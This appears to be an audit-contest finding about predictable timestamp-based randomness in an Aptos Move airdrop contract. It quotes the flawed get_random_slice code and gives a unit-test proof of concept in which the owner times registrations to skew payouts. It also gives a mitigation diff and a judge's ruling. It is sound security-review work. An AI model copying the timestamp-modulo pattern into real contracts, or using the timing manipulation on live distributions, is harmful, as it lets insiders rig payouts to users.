Beginner FriendlyGameFi
100 EXP
View results
Submission Details
Severity: medium
Valid

Predictable Randomness in get_random_slice

Root + Impact

Description

  • Normal Behavior: When the owner registers users via register_pizza_lover, each user should receive a truly unpredictable random amount between 100-500 APT, ensuring fair distribution where every user has equal probability of receiving any amount in this range.

    Issue: The get_random_slice function uses timestamp::now_microseconds() % 401 for randomness, which is completely predictable. Since only the owner can call register_pizza_lover (assuming the first bug is fixed), the owner can strategically time their registration calls to ensure favored users receive maximum amounts while others get minimum amounts.

// Root cause in the codebase with @> marks to highlight the relevant section
#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
@> let time = timestamp::now_microseconds();
@> let random_val = time % 401;
let random_amount = 100 + random_val; // 100-500 APT
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}

Risk

Likelihood:

  • Owner controls exactly when register_pizza_lover is called for each user

  • Block timestamps are predictable using blockchain explorers

  • Mathematical formula (timestamp % 401) makes calculation straightforward

  • Owner can batch register users at calculated optimal timestamps

Impact:

  • Complete violation of "random" distribution promise

  • 400 APT difference between minimum (100) and maximum (500) amounts

  • Systematic favoritism destroys airdrop fairness

  • Protocol reputation damage when manipulation patterns become visible on-chain

Proof of Concept

#[test(deployer = @pizza_drop, user1 = @0x123, user2 = @0x456, framework = @0x1)]
fun test_owner_timing_manipulation(
deployer: &signer,
user1: &signer,
user2: &signer,
framework: &signer
) acquires State, ModuleData {
use aptos_framework::account;
use aptos_framework::timestamp;
use aptos_framework::aptos_coin;
// Setup environment
timestamp::set_time_has_started_for_testing(framework);
let (burn_cap, mint_cap) = aptos_coin::initialize_for_test(framework);
account::create_account_for_test(@pizza_drop);
account::create_account_for_test(signer::address_of(user1));
account::create_account_for_test(signer::address_of(user2));
// Initialize and fund contract
init_module(deployer);
let funding_amount = 100000;
let deployer_coins = coin::mint<AptosCoin>(funding_amount, &mint_cap);
coin::register<AptosCoin>(deployer);
coin::deposit<AptosCoin>(@pizza_drop, deployer_coins);
fund_pizza_drop(deployer, 20000);
debug::print(&b"=== OWNER TIMING MANIPULATION ===");
// ATTACK: Owner times first registration for higher amount
let current_time = timestamp::now_microseconds();
let current_mod = current_time % 401;
debug::print(&b"Current timestamp mod 401: ");
debug::print(&current_mod);
// Register first user (favored) at current timestamp
register_pizza_lover(deployer, signer::address_of(user1));
let favored_amount = get_claimed_amount(signer::address_of(user1));
debug::print(&b"Favored user amount: ");
debug::print(&favored_amount);
// ATTACK: Owner waits/calculates different timestamp for lower amount
// Fast forward to get different modulo result
timestamp::fast_forward_seconds(100);
let new_time = timestamp::now_microseconds();
let new_mod = new_time % 401;
debug::print(&b"New timestamp mod 401: ");
debug::print(&new_mod);
// Register second user (unfavored) at different timestamp
register_pizza_lover(deployer, signer::address_of(user2));
let unfavored_amount = get_claimed_amount(signer::address_of(user2));
debug::print(&b"Unfavored user amount: ");
debug::print(&unfavored_amount);
// Show manipulation advantage
let advantage = if (favored_amount > unfavored_amount) {
favored_amount - unfavored_amount
} else {
unfavored_amount - favored_amount
};
debug::print(&b"Manipulation advantage: ");
debug::print(&advantage);
// Verify amounts are predictable and different
assert!(favored_amount >= 100 && favored_amount <= 500, 1);
assert!(unfavored_amount >= 100 && unfavored_amount <= 500, 2);
// Different timing should yield different amounts (proving predictability)
assert!(advantage >= 0, 3);
// Both users can claim their predictably determined amounts
claim_pizza_slice(user1);
claim_pizza_slice(user2);
let user1_balance = coin::balance<AptosCoin>(signer::address_of(user1));
let user2_balance = coin::balance<AptosCoin>(signer::address_of(user2));
debug::print(&b"Final balances - User1: ");
debug::print(&user1_balance);
debug::print(&b", User2: ");
debug::print(&user2_balance);
debug::print(&b"=== TIMING MANIPULATION DEMONSTRATED ===");
// Clean up
coin::destroy_burn_cap(burn_cap);
coin::destroy_mint_cap(mint_cap);
}
Test Command: aptos move test -f test_owner_timing_manipulation
Expected Result: Test demonstrates that different registration timing leads to different amounts,
proving the randomness is predictable and manipulable by the contract owner.

Recommended Mitigation

- remove this code
+ add this code
diff+ use aptos_framework::randomness;
#[randomness]
entry fun get_random_slice(user_addr: address) acquires ModuleData, State {
let state = borrow_global_mut<State>(get_resource_address());
- let time = timestamp::now_microseconds();
- let random_val = time % 401;
+ let random_val = randomness::u64_range(0, 401);
let random_amount = 100 + random_val;
table::add(&mut state.users_claimed_amount, user_addr, random_amount);
}
Explanation: Replace predictable timestamp-based randomness with Aptos Framework's cryptographically secure randomness API. The randomness::u64_range(0, 401) function provides truly unpredictable randomness that cannot be manipulated by contract owners,
validators, or any external parties, ensuring fair distribution as promised.
Updates

Appeal created

bube Lead Judge 10 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Predictable randomness

The `get_random_slice` function should only be called by the owner via the `register_pizza_lover` function. Also, the `owner` is trusted and will not choose a specific time for a new user to register. Therefore, I disagree with the claim of most reports in this group that an attacker can manipulate the random number of pizza slices. But I agree with the root cause of the reports in this group, that the random distribution is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.